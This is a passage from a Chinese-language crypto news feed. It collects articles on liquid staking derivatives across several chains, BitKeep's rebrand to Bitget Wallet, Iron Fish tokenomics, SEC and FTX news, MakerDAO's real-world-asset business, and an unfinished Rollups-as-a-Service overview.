DeFi 产品都可以在 Avanlanche 找到。 Avalance 的 DeFi 竞争格局有一个独特点：Top 15 的 DeFi 中 AAVE，Curve，Beefy 这些是迁入者，其中 AAVE 直接拿走 36.95% 得市场份额，原生借贷 Bneqi 发展了多业务规模也才不到 AAVE 的 80% ，而自有生态的 GMX，Stargate 选择多链发展，在其他链混的也风生水起，比如 GMX，直接在 Arbitrum 上当老大，份额占 32.96%。且 TVL 100M 以下，断层式发展，GMX 和 Stargate 之间 TVL 相差一半还多。 但为什么 LSD 就就这么少呢？除了技术原因，这种 DeFi 格局可能也是一个影响因素，自有的老 DeFi 忙着多链发展，新进来的多链 DeFi 往往是单一业务，对于他们来讲，如果开阔新的 LSD 业务，也大都从自己的原生发展链开始。这对于新的原生的单纯做 LSD 业务的项目来讲可能从竞争力和资源合作角度带来困难。 如果你想了解 Avanlanche 的具体质押机制请移步这里。 Polkadot 的质押率是 47.05%，质押年化收益是 15.29%， 质押锁定 28 天。Polkadot 的共识机制是 NPOS（提名权益证明），具有验证者和提名者两种角色，验证者需要运行验证节点，提名者通过选择优秀的验证人并质押 DOT 支持验证者的工作来获取收益同时保护网络。如果被提名的验证者遵循网络规则维护了网络安全，提名者则可以分享他们产生的质押奖励。反之，验证者行为不当，验证者将被罚没，用户也会失去 DOT 奖励。 而 PolkaDot 的另一个特色是其卡槽拍卖机制：其允许多条专用区块链在安全的、无信任环境中相互沟通，从而实现了区块链的可扩展性。平行链与中继链相连，这就需要平行链插槽。简单理解就是中继链是插座，平行链是电器，插座孔位有限需要通过拍卖竞争，所以项目发明了众贷（Crowdloan，PLO），项目方向市场募资参与拍卖，成功后获得带项目 Token 奖励。但不参与拍卖的项目也可以使用 Parathread 机制，相较于平行链区别就是这个需要按量付费，平行链是无限免费使用。下图是 PLO 的一些案例，由于 Crowdloan 的存在，在收益率上，LSD 吸引力有些不足，很多 DeFi 围绕 PLO 建立。 Lido 在 3 月 15 日，正式暂停了 Polkadot 与 KSM 质押存款，我查阅当时的提案，其中提案发起人 soyome（Lido 合作商 MixBytes 负责人）和 Marin（Lido 的 BD）的评论如下： 大概意思就是 Polkadot 内的 DeFi 生态系统仍然相对不发达，限制了 LSD 的潜在应用和好处还有一些市场和运营问题。因为 PolakaDot 生态比较复杂，我对其只进行了简单研究，不过分深究其生态发展带来的原因。但搜集资料时，很多关于 Polakadot 以及众贷的文章都发表于 21 年和 22 年，最近的新文章确实很少。Messari 发表的报告《State of Polkadot Q4 2022》或许会给我们一些答案。 根据 Aptos Explorer 的数据，Aptos 的节点质押量占 $APT 供应量的 82.5%，矿工平均年化收益在 7% 左右，在调查过程中，我们实际发现了很多 Aptos 相关的 LSD 项目，但大部分都在 2022 年 10 月后，停止其 Twitter 更新，这些项目网站暂无法打开，且 Aptos DeFi 的目前 TVL 仅有 $37M，相应的 LSD 基础协议更少。且从 Pancake，Liquid Swap 的 LP 池来看最高的一个池 APY 能到 10%+（whUSDC-tAPT LP），其余都是 2.78% 以下。不过tAPT 和 stAPT 的持有者分别达到 45.2K，29.9K，这个数目远高于其他生态同规模 LSD 。 理论上 Aptos 和 Sui 都属于 Move 生态，LSD 协议能管理 APT 也就能管理 SUI，Sui 主网将于 Q2 上线，届时会不会促进 Move 生态的 DeFi 发展从而为 LSD 创造更多基础设施及用例呢？这值得期待。 1.从 Lido，Stader，Bifrost 等 LSD 的多链规划中可以看出，LSD 业务多链化是一个必然趋势，仅从质押角度出发，只要 POS 机制，理论上都可以创建 LSD。但从以上这些项目的案例中，绝大多数 LSD 项目应该是从某条链或者某生态起步后再开始做其他公链。 2.操作性问题：在整理数据的过程中，很多 LSD 项目 UI 体验非常差，另外，很多项目的 LSD 有很多 Use Case，但不告诉用户如何使用，整体 UX 体验很差。 3.CEX 是一个绝不能忽略的因素，作为 Web3 最大的流量入口也是各种 Token 的汇集地，以 Coinbase 为例，仅 CBETH-ETH 带来的交易量高达 $8.4M，除流动性外，这也将影响 token 投机者对 LSD 赛道的更多关注。 4.Aptos 主网上线后部分 LSD 协议停摆也给我们提了一个醒，请注意接下来的即将上线的新 L1s/L2s 生态中的 LSD 协议，选择能持续经营的项目投入自己的资产。 5.最近 FVM 上线，SFT，MFIL，STFIL，HashMix 等 LSD 方案已经准备上线。LSD 已成公链必备 DeFi 协议。 6.通过 LSD 赚取奖励分成，或者接入 LSD Pool 以及 LSD DeFi 产品可以提供真实收益，对于综合性 DeFi 来讲，LSD 业务或许会成为老 DeFi 的收入新增长点。 7.MetaMask 在一月宣布开放以太坊质押功能，目前属于 Beta 测试版。而在 Cosmos，Keplr 钱包则是很多人质押资产的入口，Cardano 上也有类似的质押 SPO 的钱包入口，LSDFi 项目的 BD 或许可以把合作对象放在钱包端。 讨论（主观观点区） 无论我之前做的各种分析，都是基于一点：持有者会追寻稳定以及高额的收益？但忽略了一点：质押的正确性，参与治理与维护网络安全性，POS 或者改动的 POS 机制的主要质押目的是为了维护网络安全，但实际上，大多数公链的一开始融资环节，以及测试网阶段，节点的去中心化分布以及 Token 的基本分布就已经确定。其次是治理，cosmos 的 Stride 和 Quicksilver 的代理投票解决方案是一个很好的案例，获取收益，且能参与治理。 LSD 有必要去组合来获取收益吗？我无法直接回答，但我想到了两个案例： ①在非洲一些金融设施落后的小国，你应该担心的是货币胀问题，但如果你在华尔街，你想的更多会是创造出更高的金融工具和金融产品。 ②市场上有很多效用微乎其微的 Token，算起来完全可以超千亿左右的规模，而 LSD 背后是加密世界第二价值货币 ETH，无论是实际价值还是稳定性都可以承载更多产品的开发，有什么理由放弃 LSD 这块阔的市场 ？现在熊市 ETH FDV都有 2000 多亿美元，那么 LSD 想象空间多大？ ③其他链的 LSD 有必要吗？有，LSD 可以促进一个生态的网络质押，提高网络安全性，同时为 DeFi 提供流动性，促进生态内 DeFi 的发展。 LSD 之战的最大影响者可能是节点运营商和 CEX，Lido 作为最大的 lSD 龙头仅持有 ETH 生态 4.87% 份额，而在一些生态，比如 Cosmos 的 $ATOM，大运营商可能委托超过 4.4%（stake.fish）的 ATOM，而 Binance，Kraken 等节点 ATOM 持有量也远超 LSD 项目，下图中圆圈标出的 VC 自有节点的筹码也可能成为 LSD War 的影响因子。 非 POS 网络原生资产可以做 LSD 吗？没找到合适的案例，但有一个想法，没有了维护网络安全性的需要，利用治理权或许可以设计，Token 锁定后变成 xToken，xToken 代表一定期限后的资产赎回权，也能绑定治理，如果这个协议通过治理决定收益分配，那么可以基于 xToken 开发产品决定收益等。 参考： 质押情况：Staking Rewards，各区块链浏览器 项目情况：Defilillam，公链官网，Twitter，Google 项目数据：各项目官网数据，Coingecko 其余参考资料：KOLs Thread，各种 Blog 以及文章 声明：本文不带有任何投资建议，且具有大量主观看法，部分数据并不完整。  ( 10 min )
    BitKeep披露2023新路线图，更名为Bitget Wallet并强化安全体系
    近日，亚洲最大的 Web3 多链钱包 BitKeep 发布其 2023 年新战略路线图，宣布进行全面的品牌升级，将更名为 Bitget Wallet。在接下来的几周内，BitKeep 将推出全新的 logo，并对 App、网页端及插件版的视觉风格进行全面更新；此外，BitKeep 还宣布进行管理团队的重组，同时专注于提升整体安全系统的性能。 BitKeep 继续独立运营，加固安全风控体系 一周前，加密衍生品交易所 Bitget 完成向 BitKeep 追加投资 3000 万美元，成为其控股股东，宣布双方进行业务领域的整合，在扩大 Bitget 服务范围的同时，在产研方面，帮助 BitKeep 提升产品的稳定性和安全性，在全球市场拓展中，为 BitKeep 提供资源支持。双方将共同发挥各自优势，构建连接中心化与去中心化世界的桥梁。 经过此次升级，BitKeep 将依托 Bitget 构建的安全体系和资金保护措施，共享 3 亿美金的 Bitget 风险保障基金，强化抗风险能力，为用户资金安全保驾护航。此外，BitKeep 推出一系列安全措施，包括全面加固客户端、实施更严格的预发布审核流程、升级 APK 包增加 MD5 校验，以及采用业界领先的一机一密加密算法以提升通信安全等等。 在与慢雾团队合作的基础上，BitKeep 引入 Certik 作为安全审计新伙伴。目前 BitKeep 已完成 Swap、NFT 市场协议核心代码的安全审计；同时上线了连接硬件钱包的二维码协议，使移动端版本能够集成主流硬件钱包，力求在安全性和便利性之间实现最佳平衡。 同时，BitKeep 宣布已全额赔偿去年 12 月安全事件中所有受影响且符合赔付条件的用户。 在 Bitget 投资成为控股股东后，BitKeep 将仍保持独立运营及独立组织架构。管理架构方面，原联合创始人之一兼 CEO Kevin Como 将卸任，由首席产品官 Karry Cheung 接任 CEO 职务。下个阶段，BitKeep 将打造以产品为核心的高效团队，部分 Bitget 优秀人才将加入 BitKeep 研发和安全团队，共同提升钱包的服务稳定性和安全性。 BitKeep 自 2018 年创立以来，已走过四年多的历程，作为一个去中心化钱包和 Web3 资产交互平台，为用户提供资产存储、多链兑换、NFT 交易、DApp 浏览器、Launchpad 等多种功能。现如今，BitKeep 在全球范围内覆盖 168 个国家与地区，吸引了超过 950 万用户，成为世界领先的去中心化多链钱包之一。 加密行业一路螺旋式发展，相比十多年前的比特币时代，如今早已气象万千。DeFi 底层金融框架逐步搭建，繁荣的去中心化生态已初具规模，在多链生态下衍生出许多有实际需求的应用场景。行业不断迭代，生态系统日益丰富，吸引了越来越多的投资者、开发者、创业者，对钱包等基础设施工具提出了更高的要求。如今，钱包已不再只是简单的存储工具，而是承载着一个生态系统，为用户进入 Web3 世界提供便捷的途径。 在过去几年，BitKeep 积极适应变化的市场，不断拓展服务范围，满足用户多样化的需求。BitKeep 是用户进入 Web3 世界的入口，参与 DeFi 挖矿，玩 GameFi 链游，买最潮的 NFT 小图片，投身创作者经济，体验 X 2 Earn 的元宇宙；BitKeep 是用户在链上交互喜爱的工具，在链与链之间自由交换，寻找着热门资产。BitKeep 始终走在 Web3 创新的最前沿，为用户和热门资产、公链生态之间架起桥梁。 Bitget Wallet：更快交易，更优资产，你未来的交易钱包 新的品牌将继续秉承 BitKeep 定位，为用户提供安全、便捷和高效的数字资产管理服务，同时，也致力于成为未来 Web3 用户最受欢迎的交易钱包之一，让用户享受更快交易，更优资产。 着眼未来，BitKeep 将继续丰富产品功能，探索和研究 MPC（多方计算）和 AA（账户抽象）领域。此外，BitKeep 正开发与 Web3 DID（去中心化身份）相关的功能，积极支持 ZK-Rollup 生态建设。同时，BitKeep 还在投入研发 MPC 钱包，实现私钥分片，并采用 2/3 门限签名方案，在保持去中心化的前提下，解决私钥管理单点风险的问题，并为用户提供无需记忆助记词/私钥的使用环境。 对于此次和 Bitget 的强强联合，BitKeep 首席运营官 Moka Hahn 表示：“加入了 Bitget 大生态，我们会有更多优势资源来不断优化和迭代产品，继续践行创新，探索更多潜在的技术突破和应用场景，在全球范围内进一步推动 Web3 技术的普及和应用，我们也会更有信心在全球市场竞争中走得更远、更高，在日益激烈的市场竞争中保持领先地位。” 对于选择和 BitKeep 合作的原因，Bitget 董事总经理 Gracy Chen 回应：“我们注意到，去中心化的资产存储和 Web3 入口级应用的需求持续上升，BitKeep 的产品功能和用户体验一直备受好评，我们从 2021 年开始就投资了 BitKeep，此次增资控股也代表了 Bitget 对钱包赛道的重视，希望能整合优质资源，为下一个 10 亿用户的市场增长做准备。” 不论应用如何变迁，承载应用的基础设施永远长青，在日益更新变迁的钱包赛道，BitKeep 一直在做更新的自己，在挑战新高度的自己。 再见 BitKeep，你好，Bitget Wallet！  ( 5 min )
    Web3隐私平台Iron Fish公布其代币经济学：创世块将释放4200万枚代币
    PANews 3月29日消息，Web3 隐私平台 Iron Fish 公布了该项目的代币经济学细节。创世块将释放 4200 万枚代币，它们将按如下方式分配： Iron Fish基金会：18%； 空投给测试网参与者：2.25%； 对于未来的空投：2.25%； 种子前系列投资者：5.1%； 种子系列参与者：9.9%； A轮融资投资者：14.5%； 顾问：0.6%； 核心开发团队：37.4%； IF 实验室：5%； 捐赠基金：5%。 主网预计将于 4 月 20 日启动。对于每个内部人员，在主网上线后提供一年的锁定期。在接下来的 12 个月内，此类代币持有者将有资格在每个月内进行转让。未来，代币释放量将逐渐减少，直至达到 256,970,400 IRON（150 年）。 此前报道，隐私网络Iron Fish将向测试网参与者发放94万枚主网代币空投。Iron Fish曾于2021年完成2760万A轮融资，A16z领投。 相关阅读：Iron Fish 让所有加密货币交易，都能以合规的方式进行私有化。  ( 4 min )
    以太坊Shapella时刻临近，LSD赛道蓄势待发
    来源：DroomDroom 编译：比推BitpushNews Mary Liu 以太坊将在 4 月 12 日迎来“Shapella 升级”（上海升级“EIP-4895”），之前锁定的验证者代币被解锁，将大大增加以太坊的流动性，最近几个月，流动性质押平台吸引了大量关注，其中 Liquid Staking Derivative （流动性衍生品质押：LSD）为与传统质押相关的问题提供了独特的解决方案。 Liquid Staking Derivatives（LSD）是 DeFi 领域的最新创新，它允许用户在保留对其资产的访问权限的同时赚取质押奖励，LSD平台通过代币化运作，可用于整个 DeFi 生态系统的借贷、交易和抵押品。通过LSD，用户和投资者可以随时访问他们的抵押代币，接收代币化资产或衍生代币；也可用于外部交易，最大化潜在收益，同时获得与资产抵押相关的奖励，创造多种收入来源。 在本文中，我们将讨论什么是流动性质押/衍生品/LSD，概述LSD的一些优势与风险以及加密市场中的一些顶级 LSD。 要完全理解 LSD 背后的机制，我们需要研究两个概念：流动性质押（Liquid Staking）和衍生品（Derivatives）。 质押是指用户在特定时期内锁定其资产，这意味着他们很可能会错过通过交易代币获利的机会。 然而，流动性质押的发展允许代币持有者获得质押奖励并按照个人意愿使用他们的代币。这确保了质押者可以获得质押奖励并有机会在外部交易中使用代币，进一步帮助他们最大化回报并产生多种收入来源。 流动性质押是传统质押的高级或更新版本，可在智能合约协议上使用。 为了保证区块链的安全，利益相关者承诺他们的资金，同时仍然可以随时使用这些资金。 衍生品被简单地定义为两方之间的合约。 它们是由基础资产（质押代币）支持的金融工具。 该基础资产或质押代币代表您质押资产的价值。衍生品的价格由标的资产或质押的代币价值波动决定。 LSD 是确认和验证质押者参与质押池的代币。 这些代币可用于整个 DeFi 生态系统的借贷、交易和抵押。 LSD 利用代币化的概念来确保参与者或利益相关者可以从衍生品中获益，以及与代币抵押相关的利益。 LSD 为质押者质押任意数量的代币提供了平台，作为回报，他们获得了可用于其他 Defi 协议的衍生代币。 此外，LSD 允许投资者在将其抵押资产用作其他 DeFi 协议中的抵押品时产生回报。 LSD 的一个主要优点是它们允许用户获得质押奖励，而无需长期锁定他们的代币； 然而，由于加密资产的波动性，长期锁定代币并不总是会带来正回报。 最后，质押者可以获得质押奖励，保留对资金的使用权并利用市场价格波动。 我们已经知道，当代币被质押时，它们会被锁定一段时间，因此在这段时间内它们不能被交易或提取。 然而，LSD 的发展正在改变这种说法，因为它允许用户质押任意数量的资产并取消质押，而不会对初始存款产生任何影响。 这是因为存款被锁定在流动性质押平台上，并且向用户发行了该加密资产的代币化版本（即衍生代币）。 这些衍生代币具有与用户存款等值的价值，并且与原始质押资产一比一锚定。 然而，为了更好的识别它们，它们被赋予了不同的代号。 例如，如果您将 2ETH 存入流动性质押服务，您将收到一个 stETH 作为衍生代币，该衍生代币可以在其他地方进行交易、消费或存储。 这允许用户通过交易衍生代币获利的同时，从他们的初始存款中获得质押奖励。 下面这个例子可以更清楚地了解 LSD 的机制，： 您手中目前有 20,000 美元，您决定将其带到LSD平台并将其质押在资金库中 3 个月； LSD平台给了您相当于您锁定的 20,000 美元的代币。 使用这些代币，您可以支付账单、执行交易—相当于20,000 美元可以做的所有事情。 在 3 个月结束时，您将取回 20,000 美元和与锁定期间相关的奖励，您还将获得使用代币作为法定货币期间赚取的利润。 这种情况下，您锁定的 20,000 美元是质押代币，20,00 美元的代币就是您的衍生代币。 1. 提倡和鼓励质押活动，质押代币使网络更加安全和稳定。 权益证明网络的安全性、网络上验证者的数量以及他们投入的资金量之间存在直接关系。 因此，网络上验证者的数量越多，质押资本的增加量就越大，网络变得越强大、越安全。 然而，用户在质押期间无法访问其质押的代币仍然是局限性，这就是LSD概念的用武之地。LSD 通过发行代币化版本或衍生品提供了独特的解决方案。这项创新还增加了质押活动，因为质押者现在有信心，无论何时质押其资产，他们都会获得可用于其他活动（如借贷和交易）的衍生代币。 2. 获得多种收入来源 有了 LSD，利益相关者现在可以将他们的资金或资产锁定在一个平台上，并继续使用代币化版本或衍生代币作为抵押品，以获得加密支持的贷款。 这些贷款以更高的收益率存入，以产生更多的投资回报率 (ROI)。 1. 削减（Slashing） 毫无疑问，流动性质押衍生品有许多令人兴奋的好处和回报，但这并不意味着它没有风险。 一个常见的缺点是削减带来的经济损失风险。 罚没机制通过验证器（处理和验证区块链上交易的某人或网络节点）来规范和检查不当行为（例如双重签名和验证器停机）。 每当检测到不当行为时，无论是有意还是无意，都会丢失一定比例的验证者代币。 2. 智能合约风险 另一个常见的风险是智能合约风险。 尽管众所周知区块链技术是安全的，但我们必须承认，有时存在漏洞，入侵者可以利用他们的资金和资产来利用用户。 3. 如果用户在交易或交易中丢失了他们的代币化资产/衍生代币，他们可能会失去他们的质押资金，而取回质押资金的唯一方法是再进行一次等值存款。 以下是加密领域的一些顶级流动性质押协议。 这些 LSD 有其独特的产生流动性的机制和方法。 1. Lido Finance的 stETH Lido Finance 的衍生品是 stETH（st 的意思是 staked质押）。Lido Finance 是最流行的流动性质押协议。 原生代币 (LDO) 是用于支持 ETH 流动性质押的治理代币，用户还可以使用 LDO 数字代币对网络提案进行投票，并在质押中赚取被动收入。 此外，当用户抵押他们的 ETH 代币时，Lido 会向他们发放 stETH 作为交换。 这些衍生品 (stETH) 可以在超过 27 个 DeFi 应用程序和加密钱包中提取和使用。Lido 对流动性质押服务收取 10% 的费用，这些费用在 DAO 和节点运营商之间平均分配。 在撰写本文时，Lido 拥有 73.34% 的 ETH 市场份额，520 万个抵押 ETH，总锁仓价值（TVL）为 104.7 亿美元。 2. Coinbase 的 cbETH 在撰写本文时，Coinbase 拥有 15.64% 的 ETH 市场份额； 110 万个抵押的 ETH，TVL为 20.9 亿美元。 Coinbase 的流动性衍生代币是 cbETH。 Coinbase 推出其 LSD 的原因之一是与 Lido 的主导地位竞争，防止 Lido 危及以太坊的去中心化。 然而，Coinbase 衍生代币 (cbETH) 的局限性在于它在 DeFi 中没有很多实用程序，因此它们可能不会吸引太多加密投资者。 Coinbase 对流动性质押服务收取 25% 的费用。 3.Frax Finance 的 Sfrx ETH sfrxETH 是 Frax 的衍生代币。 Frax 提供最高的收益，这归因于它具有双代币设计。 sfrxETH 是加密市场上新创建的流动性质押衍生品之一。 Frax 使用 frxCTH/ETH 提供曲线上的流动资金池，但如果用户质押 sfrxETH，只会获得质押奖励。 在撰写本文时，他们拥有 1.44% 的 ETH 市场份额； 102,429 个抵押的 ETH，TVL为 2.216 亿美元。 4.Rocket Pool 的 rETH rETH 是 Rocket Pool 的去中心化流动性 Staking 衍生品。 Rocketpool 可能是本文列出的所有流动性质押提供商中最去中心化的选择。 借助 Rocket Pool，质押者可以从外部来源获得资金来运行验证器节点，只需 16 个 ETH，而不是 ETH 验证器通常所需的 32 个 ETH。 此外，这些验证者需要添加至少 16ETH 的 10% 作为抵押品，以防万一他们被slash。 在撰写本文时，Rocket Pool 拥有 5.84% 的 ETH 市场份额； 414,312 个抵押的 ETH，TVL为 11.2 亿美元。 5.StakeWise 的sETH2 StakeWise 运行安全稳定的机构级基础设施，结合独特的代币经济学，为其用户提供尽可能高的质押收益。StakeWise 以太坊质押由一个混合代币系统组成，该系统将用户自己质押的 ETH 分解为sETH2代币，并将奖励分成rETH2代币. 撰写本文时，StakeWise TVL 1.5亿美元，APR 4.79%，市场份额 1.11%。 LSD在加密社区的热度很高，其他大小加密公司也已开始采用 Liquid 质押衍生品，以释放资本效率、提高收益率、分散风险并支持去中心化金融生态系统的发展。因此，很难不相信它们是 DeFi 领域的下一个热门叙事。 几周前，Yearn Finance 宣布现在正在推出一种名为 yETH 的衍生代币。 这种新的衍生代币的潜在用例包括：分散利益相关者的风险，提高利益相关者的收益，以及通过一个代币享有多个敞口。 ChainLink 已将 LSD 作为释放资本效率和支持 DeFi 增长的重要组成部分。 他们最近在推特上表示，通过 Chainlink 储备证明，任何人都可以验证他们的流动性质押代币是否完全由质押的原生代币支持。 LSD 的发明增加了质押者的收益，质押参与进一步加强了网络，并有助于构建加密生态系统的未来。加密社区坚信 LSD 的概念将继续存在，我们很可能会看到更多突破性的用例。  ( 6 min )
    美SEC主席将于4月18日向众议院数字资产小组委员会解释其加密监管方法
    PANews 3月29日消息，据Beincrypto报道，美国众议院金融服务委员会主席Patrick McHenry今天宣布，美国证券交易委员会（SEC）主席Gary Gensler将于4月18日出席众议院数字资产小组委员会会议。McHenry证实：“这将是我们对SEC的第一次监督听证会。”监督听证会将寻求明确Gensler的规则制定和数字资产的方法。 McHenry说：“在政策方面，这将是我们制定数字资产监管领域的一种严肃的方法。”他希望在接下来的几个月里在加密监管领域开展这项工作。 McHenry于2023年1月成立了数字资产小组委员会，以帮助缩小众议院金融服务委员会在解决加密问题方面的结构性差距。美国众议院金融服务负责监督整个金融服务行业，包括证券、银行和加密资产。  ( 4 min )
    万亿级增量，RWA将成为DeFi下一个增长引擎？
    原文：《RWA，风浪越大，鱼越大》 作者：0xCousin，IOBC Capital RWA，Real World Asset，真实世界资产。目前最流行的RWA主要有以下几类：现金（美元）、金属（金、银等）、房地产、债券（美国国债居多）、保险、消费品、信用票据、特许权使用费等。 RWA的资产规模远超Crypto Native Asset。例如，固定收益债券市场规模约为127万亿美元，全球房地产总价值约为362万亿美元，黄金的市值约为11万亿美元，目前Crypto Native Asset的市值为1.1万亿，仅为黄金市值的1/10。 如果把这些RWA的一小部分放进DeFi领域，DeFi的总规模将获得大幅提升。 通常使用智能合约来创建代表RWA的Token，同时提供链下保证，即已发行的Token始终可赎回基础资产。 RWA在DeFi中有以下几种常见应用形式： 1、稳定币：比如USDT、USDC、BUSD这些最头部的稳定币都属于RWA，Tether、Circle、Paxos这些发行公司通过维持经过审计的美元资产储备，铸造稳定币Token供区块链及DeFi协议使用； 2、合成资产：合成资产也属于RWA，比如通过合成资产的形式，将股票、商品等以挂钩的衍生品的形式进行链上交易。目前在合成资产领域发展最好的是Synthetix，在2021年牛市巅峰期其协议中锁定了价值超过30亿美元的资产； 3、借贷协议：RWA在借贷协议中已经有较好的发展。借款人以RWA作为抵押品，DeFi平台可以为借款人提供抵押借贷业务；也有一些并未抵押资产，仅凭借其品牌信誉的信用借贷业务。RWA在DeFi借贷协议中的使用，为DeFi借贷协议的可持续发展和营收规模带来了非常重要的积极作用。 RWA Tokenization有助于扩大DeFi的市场规模，也有助于传统金融机构探索新的业务模式。头部的DeFi协议对RWA Tokenization有积极布局，一些传统金融机构对RWA Tokenization也很感兴趣。 MakerDAO：RWA业务规模超过6.8亿美元，贡献超过58%的收入。 因为传统金融系统的收益率现在比DeFi协议的收益率高，例如美国国债的收益率约为3.5%，而头部DeFi抵押借贷协议的收益率约为2%，这给了DeFi协议获得可持续收入的机会。 为了管理RWA业务，MakerDAO设立了RWA Foundation。根据抵押品类型的不同，可能设立不同的Foundation，而且每个SPV还可以根据业务需求选择最合适的管理辖区/法律结构。其基本架构如下： MakerDAO针对RWA的链下资产，在抵押借贷的业务逻辑上有些调整。主要是清算部分不是通过链上公开拍卖执行清算，而是由第三方在链下强制执行。实现新功能的智能合约主要包括： MakerDAO在他们认为必要时，通过tell（）调用RwaLiquidationOracle。这将开始倒计时，修复期结束后，预言机将开始报告该头寸正在清算中。如果触发清算的原因得到补救，则在补救之后MakerDAO治理可以通过调用Cure（），恢复正常状态；如果MakerDAO治理已触发清算且补救期已过且未被调用时，链下执行者（如受托人等）可以通过调用good（）来报告该头寸处于清算状态。 如果在清算过程结束时头寸上仍有债务剩余，并且MakerDAO认为债务不会被清偿，它可以通过调用触发注销cull()。注销通过将系统的抵押品价值设置为零来进行，这将导致头寸通过bite()等进行链上清算。与现有抵押品类型的清算模块不同，专门的清算模块RwaFlipper不会尝试出售标的抵押品，而只是通过允许创建系统债务来标记系统资产负债表上的损失。 MakerDAO在采用RWA方面有很大进展。目前，MakerDAO拥有价值超过6.8亿美元的RWA支持的去中心化稳定币DAI。 MakerDAO在RWA方面，将其6.8亿美元的RWA拆解分析，有三个具体案例： 1、MakerDAO的大部分RWA抵押品（约5亿美元）是以由Monetalis管理的美国国债形式出现（MIP65）。这些资产为MakerDAO协议提供了闲置USDC抵押品的收益来源； 2、MakerDAO还推出了一个由费城一家名为Huntingdon Walley Bank（HVB）的商业银行提供价值1亿美元贷款支持的金库。HVB使用MakerDAO来支持其现有业务的增长以及围绕房地产和其他相关垂直领域的投资，并成为美国监管金融机构与去中心化数字货币之间的首个商业贷款的案例； 3、在一个单独的金库中，法国兴业银行从MakerDAO借了700万美元，其头寸由价值4000万欧元的AAA级债券作为OFH代币的支持。 通过引入RWA作为抵押品，MakerDAO能够显著增加其协议收入。截至目前，MakerDAO的收入有超过58%来源于RWA业务。 Centrifuge：以NFT的形式将RWAs带入Crypto生态，TVL超1.7亿美元。 Centrifuge是通过NFT的形式将现实世界资产带入Crypto生态系统。Centrifuge协议的dApp叫Tinlake，Tinlake的产品逻辑主要如下： 1、资产发起人使用Tinlake桥接现实世界的资产。该资产被转换为NFT，其中包括相关的法律文件； 2、资产发起人可以使用代币化的现实世界资产NFT作为基础抵押品来创建资产池； 3、创建池时，会创建两个Token——DROP Token和TIN Token； 4、投资者可以根据个人风险偏好决定向哪个池提供资金，购买DROP或TIN Token； 5、DROP Token持有者有保证收益，由费用函数决定，每个池有固定利息，每秒复利； 6、另一方面，TIN Token持有者没有保证收益。他们收到基于池投资回报的可变收益率，这可能高于持有DROP Token的回报； 7、TIN Token持有人承担更高的风险，因为如果借款人违约，他们将承担第一笔损失。 除了MakerDAO和Centrifuge外，还有一些DeFi协议和传统金融机构也在RWA方面有些探索： RWA的机会和风险 RWA的信任假设：由于Tokenization的RWA毕竟是在链下，无法通过智能合约强制执行清算处理，还依赖于传统金融机构的背书，这些RWA的信任属性可能永远无法与Crypto Native Asset达到同等级别。同时，由于RWA信任假设的存在，完全无许可的DeFi协议也很难支持RWA，所以目前的RWA Tokenization的项目，在RWA资产的处理上，一般还是有中心化主体的作用和影响。 RWA的潜在机会：STO（Security Token Offerings)历来被视为RWA的有限实施。由于很多STO通常是仅在许可平台上可用的利基证券，因此它们的采用尚未达到与公链上的RWA相同的水平。目前的STO是区块链行业里为数不多被监管认可的资产代币化方案，STO在拥抱监管方面的发展路径，可能RWA也可以尝试探索。  ( 4 min )
    外交部发言人回应“SBF行贿中国官员”：不了解情况
    PANews 3月29日消息，据环球时报报道，美国联邦检察官当地时间周二公布了一项针对Sam Bankman-Fried（SBF）的新起诉书，指控这位现已破产的加密货币交易平台FTX的创始人向中国官员行贿至少4000万美元，试图让他们解冻他的对冲基金账户。29日，有记者在外交部例行记者会上就此进行提问。外交部发言人毛宁回应称，我不了解你说的情况。  ( 4 min )
    美国法院批准将FTX在红杉资本中的4500万美元资产出售给阿布扎比的投资部门
    PANews 3月29日消息，据CoinDesk报道，周二的一份法庭文件显示，美国特拉华州破产法官已批准将FTX在红杉资本基金中的4500万美元资产出售给阿布扎比的投资部门，即阿布扎比主权财富基金。FTX还要求无限期推迟出售股票清算业务Embed，该业务最初被认为是为未偿债权人筹集资金的一种快速方式。另一份法庭文件称，Embed的出售听证会原定于2月27日举行，随后被推迟，现在将暂停“直至另行通知”，但没有提供进一步的理由。  ( 4 min )
    区块链模块化愿景：Rollups-as-a-Service方案盘点
    原文：《走向模块化区块链未来之路：Rollups-as-a-Service 揭秘》 作者：0xjim 编译：Biteye 核心贡献者 Crush 我们之前已经讨论过未来数百万个区块链的样子，一些是通用的公链，但其中绝大多数是用于特定的应用程序，即应用链。 模块化区块链的出现、以太坊以 rollup 为中心的愿景，以及 Vitalik 在他的《Endgame》一文中为了可扩展性而承认的中心化，几乎使这种未来愿景成为必然。 所以我们得出了合乎逻辑的结论，即未来将有数百万个用于特定应用程序的模块化链——但它们是如何构建的呢？当然是通过 Rollups-as-a-Service (RaaS)！ 许多应用程序团队不想考虑运行基础架构。就像 AWS 如何抽象化托管服务器的复杂性一样，RaaS 项目也在为建立和维护区块链做同样的事情。 在不久的将来，部署新链就像创建新网页或扩展和缩小应用程序那样简单，就像我们现在通过 Docker 容器和 Kubernetes 所做的一样。 仅在过去的 6 个月里，我们就看到了 RaaS 项目的大量公告——为轻量级、可配置的 rollup 构建少量代码产品。 下面我会介绍一些当前使用模块化区块链解决方案，即 RaaS 项目的详尽列表。（相关阅读：《RaaS是什么？什么样的RaaS会赢得市场》） OG：Cosmos 和 Substrate Cosmos SDK 和 Substrate SDK 已经存在多年，它们允许开发人员创建自己的主权链（因此在技术上不是模块化的），或者在 Substrate 中，通过作为平行链连接到 Polkadot 中继链以共享安全性。 Alt-L1s（替代性 L1 公链） Polygon 和 Avalanche 是 2021 年初 Alt-L1 叙事的热门项目。它们建立了模块化框架的原型：Polygon Edge 和 Avalanche 子网。 最值得注意的是，Avalanche 与 Crabada 和 DeFi Kingdoms 等游戏合作，使得这些游戏创建了自己的专用子网。 Polygon 扩展了 Edge 的范围——现在称为 Polygon Supernets。通过 Supernet，dApp 团队可以利用现有 Polygon PoS 验证器的权益，并创建一个单独的用于特定应用程序的环境。 随着时间的推移，Polygon Supernets 还将为 dApp 团队提供使用 Polygon ZK 技术创建 ZK rollup 的能力。 The Ethereum Maxis 以太坊上的许多 L2 正在思考这些用于特定应用程序的 rollup 在他们的网络上运行将会是什么样子，而 Scroll、Fuel、Mantle、Boba、Metis、Consensys 的 zkEVM 和 Loopring 明显遗漏了这一点。 OPStack 是 Optimism 的模块化堆栈，是 Base 背后的架构师，在 Base 以及其他分支（例如 Minecraft 游戏）方面都发挥着重要的作用。他们希望可以出现一个共享排序器的超级链，即利用共享排序器在 rollup 之间提供同步性和原子性。 OP Labs 团队的愿景是让 RaaS 